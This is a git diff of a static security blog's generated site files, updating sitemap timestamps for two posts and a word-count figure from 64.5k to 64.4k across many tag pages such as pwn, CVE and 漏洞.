@@ %2F2019%2F07%2F24%2F%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6%2F - IoT + IOT IoT @@ -15,7 +15,7 @@ <![CDATA[DVWA黑客攻防平台]]> %2F2019%2F07%2F24%2Fweb-dvwa%2F - + web diff --git a/sitemap.xml b/sitemap.xml index 262831ae..046e3d41 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -4,14 +4,14 @@ https://cool-y.github.io/2019/07/24/%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6/ - 2019-07-24T03:50:46.543Z + 2019-07-24T06:01:00.825Z https://cool-y.github.io/2019/07/24/web-dvwa/ - 2019-07-24T03:48:23.821Z + 2019-07-24T06:00:56.862Z diff --git a/tags/AFL/index.html b/tags/AFL/index.html index 3a591a4e..bd94f328 100644 --- a/tags/AFL/index.html +++ b/tags/AFL/index.html @@ -499,7 +499,7 @@ - 64.5k + 64.4k diff --git a/tags/CVE/index.html b/tags/CVE/index.html index 1f5ccc06..a8f14a65 100644 --- a/tags/CVE/index.html +++ b/tags/CVE/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/IoT/index.html b/tags/IoT/index.html index 274fbaa6..9ff24ab0 100644 --- a/tags/IoT/index.html +++ b/tags/IoT/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/MiniUPnP/index.html b/tags/MiniUPnP/index.html index 14e94db9..4f2f2128 100644 --- a/tags/MiniUPnP/index.html +++ b/tags/MiniUPnP/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/PE/index.html b/tags/PE/index.html index 9fa457c4..fac645cb 100644 --- a/tags/PE/index.html +++ b/tags/PE/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/QQ/index.html b/tags/QQ/index.html index 4abb5927..c0d20691 100644 --- a/tags/QQ/index.html +++ b/tags/QQ/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/SSH/index.html b/tags/SSH/index.html index 3e44afa4..25a7a181 100644 --- a/tags/SSH/index.html +++ b/tags/SSH/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/Samba/index.html b/tags/Samba/index.html index 99d572f7..c7406ce9 100644 --- a/tags/Samba/index.html +++ b/tags/Samba/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/TCPDUMP/index.html b/tags/TCPDUMP/index.html index 8933a8d3..e5768954 100644 --- a/tags/TCPDUMP/index.html +++ b/tags/TCPDUMP/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/USENIX/index.html b/tags/USENIX/index.html index c5b05b2f..b2a317d3 100644 --- a/tags/USENIX/index.html +++ b/tags/USENIX/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/Windows/index.html b/tags/Windows/index.html index c94c6c51..12f71fed 100644 --- a/tags/Windows/index.html +++ b/tags/Windows/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/ctf/index.html b/tags/ctf/index.html index 012551ac..1c5ce10f 100644 --- a/tags/ctf/index.html +++ b/tags/ctf/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/index.html b/tags/index.html index 95ec5902..4ca15281 100644 --- a/tags/index.html +++ b/tags/index.html @@ -465,7 +465,7 @@ - 64.5k + 64.4k diff --git a/tags/itchat/index.html b/tags/itchat/index.html index 10c88eec..04451efd 100644 --- a/tags/itchat/index.html +++ b/tags/itchat/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/linux/index.html b/tags/linux/index.html index ea5a6cd7..8e3318ff 100644 --- a/tags/linux/index.html +++ b/tags/linux/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/miio/index.html b/tags/miio/index.html index dd06ea6f..83a0f0fb 100644 --- a/tags/miio/index.html +++ b/tags/miio/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/pwn/index.html b/tags/pwn/index.html index ea0f82eb..b74bc99a 100644 --- a/tags/pwn/index.html +++ b/tags/pwn/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/python/index.html b/tags/python/index.html index 65d32db3..69b0beff 100644 --- a/tags/python/index.html +++ b/tags/python/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/web/index.html b/tags/web/index.html index 67e89aa6..97f4235a 100644 --- a/tags/web/index.html +++ b/tags/web/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/wifi/index.html b/tags/wifi/index.html index 7b263e84..abd65d36 100644 --- a/tags/wifi/index.html +++ b/tags/wifi/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/中间人/index.html b/tags/中间人/index.html index 1b8f4a55..c702fd3d 100644 --- a/tags/中间人/index.html +++ b/tags/中间人/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/二进制/index.html b/tags/二进制/index.html index 15dcbb13..92ad0cfe 100644 --- a/tags/二进制/index.html +++ b/tags/二进制/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/侧信道攻击/index.html b/tags/侧信道攻击/index.html index c5acd312..166c48b4 100644 --- a/tags/侧信道攻击/index.html +++ b/tags/侧信道攻击/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/取证/index.html b/tags/取证/index.html index 0c645c1b..9ccaaa91 100644 --- a/tags/取证/index.html +++ b/tags/取证/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/复原文件/index.html b/tags/复原文件/index.html index f8cf3e88..29436a16 100644 --- a/tags/复原文件/index.html +++ b/tags/复原文件/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/密码/index.html b/tags/密码/index.html index 6d658ba2..07b9193b 100644 --- a/tags/密码/index.html +++ b/tags/密码/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/小米/index.html b/tags/小米/index.html index 2c5a1d0a..9290e0c8 100644 --- a/tags/小米/index.html +++ b/tags/小米/index.html @@ -525,7 +525,7 @@ - 64.5k + 64.4k diff --git a/tags/微信/index.html b/tags/微信/index.html index 8e978f68..b68da571 100644 --- a/tags/微信/index.html +++ b/tags/微信/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/拒绝服务攻击/index.html b/tags/拒绝服务攻击/index.html index 89e25d6e..0b705124 100644 --- a/tags/拒绝服务攻击/index.html +++ b/tags/拒绝服务攻击/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/数据库/index.html b/tags/数据库/index.html index 058e052b..cc7421c2 100644 --- a/tags/数据库/index.html +++ b/tags/数据库/index.html @@ -499,7 +499,7 @@ - 64.5k + 64.4k diff --git a/tags/数据挖掘/index.html b/tags/数据挖掘/index.html index 19971d9a..d807bbe4 100644 --- a/tags/数据挖掘/index.html +++ b/tags/数据挖掘/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/文件格式/index.html b/tags/文件格式/index.html index ae0491a2..5dad886d 100644 --- a/tags/文件格式/index.html +++ b/tags/文件格式/index.html @@ -499,7 +499,7 @@ - 64.5k + 64.4k diff --git a/tags/栈溢出/index.html b/tags/栈溢出/index.html index 8bfab275..14aa6431 100644 --- a/tags/栈溢出/index.html +++ b/tags/栈溢出/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/模型实现/index.html b/tags/模型实现/index.html index af241b2e..99b5e5c6 100644 --- a/tags/模型实现/index.html +++ b/tags/模型实现/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/模糊测试/index.html b/tags/模糊测试/index.html index 42937801..2c0549a7 100644 --- a/tags/模糊测试/index.html +++ b/tags/模糊测试/index.html @@ -499,7 +499,7 @@ - 64.5k + 64.4k diff --git a/tags/漏洞/index.html b/tags/漏洞/index.html index 9b138bc3..6ca75026 100644 --- a/tags/漏洞/index.html +++ b/tags/漏洞/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/破解/index.html b/tags/破解/index.html index 768dd7f5..250bb74c 100644 --- a/tags/破解/index.html +++ b/tags/破解/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/硬件层/index.html b/tags/硬件层/index.html index a20c40cf..00ea8cc4 100644 --- a/tags/硬件层/index.html +++ b/tags/硬件层/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/自然语言处理/index.html b/tags/自然语言处理/index.html index 69780bef..726d4625 100644 --- a/tags/自然语言处理/index.html +++ b/tags/自然语言处理/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/访问控制/index.html b/tags/访问控制/index.html index a574189b..cbd6a58b 100644 --- a/tags/访问控制/index.html +++ b/tags/访问控制/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/路由器/index.html b/tags/路由器/index.html index 826a9501..6fde1edc 100644 --- a/tags/路由器/index.html +++ b/tags/路由器/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/远程执行/index.html b/tags/远程执行/index.html index 03802f27..b0341bef 100644 --- a/tags/远程执行/index.html +++ b/tags/远程执行/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/逆向/index.html b/tags/逆向/index.html index 05cf6d21..225b1e00 100644 --- a/tags/逆向/index.html +++ b/tags/逆向/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k diff --git a/tags/重放攻击/index.html b/tags/重放攻击/index.html index 1065ab49..c3c9c52b 100644 --- a/tags/重放攻击/index.html +++ b/tags/重放攻击/index.html @@ -473,7 +473,7 @@ - 64.5k + 64.4k